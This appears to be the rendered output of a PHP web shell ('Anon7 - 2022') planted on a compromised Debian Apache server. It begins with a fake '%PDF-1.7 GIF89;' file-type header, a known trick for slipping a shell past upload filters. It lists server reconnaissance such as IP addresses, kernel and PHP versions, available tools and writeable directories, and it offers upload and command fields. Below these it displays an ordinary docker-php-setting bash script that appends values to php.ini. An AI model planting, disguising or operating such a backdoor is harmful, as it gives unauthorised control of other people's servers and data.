%PDF-1.7 GIF89;
shell
Server IP : 172.66.157.178  /  Your IP : 172.16.20.3
Web Server : Apache/2.4.25 (Debian)
System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : application ( 1000)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/local/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /usr/local/bin/docker-php-setting
#!/usr/bin/env bash

set -o pipefail  # trace ERR through pipes
set -o errtrace  # trace ERR through 'time command' and other functions
set -o nounset   ## set -u : exit the script if you try to use an uninitialised variable
set -o errexit   ## set -e : exit the script if any statement returns a non-true return value

# Defaults
PHP_INI_FILE="/opt/docker/etc/php/php.ini"
PHP_VALUE_RAW=0
PHP_KEY=
PHP_VALUE=

for arg in "$@"; do
    case "$arg" in
        --raw)
            PHP_VALUE_RAW=1
            shift
            ;;
    esac
done

if [[ "$#" -le 2 ]]; then
    echo "Usage: $(basename "$0") [--raw] <setting> <value>"
    exit 1
fi

PHP_SETTING_KEY=$1
shift
PHP_SETTING_VALUE="$@"

if [[ "$PHP_VALUE_RAW" -eq 0 ]]; then
    case "$PHP_SETTING_VALUE" in
        ''|*[!0-9]*)
            # non numeric
            PHP_SETTING_VALUE="\"${PHP_SETTING_VALUE}\""
            ;;
    esac
fi


echo "$(basename "$0"): Setting php setting: ${PHP_SETTING_KEY} = ${PHP_SETTING_VALUE}"
echo "${PHP_SETTING_KEY} = ${PHP_SETTING_VALUE}" >> "$PHP_INI_FILE"


Anon7 - 2022
SCDN GOK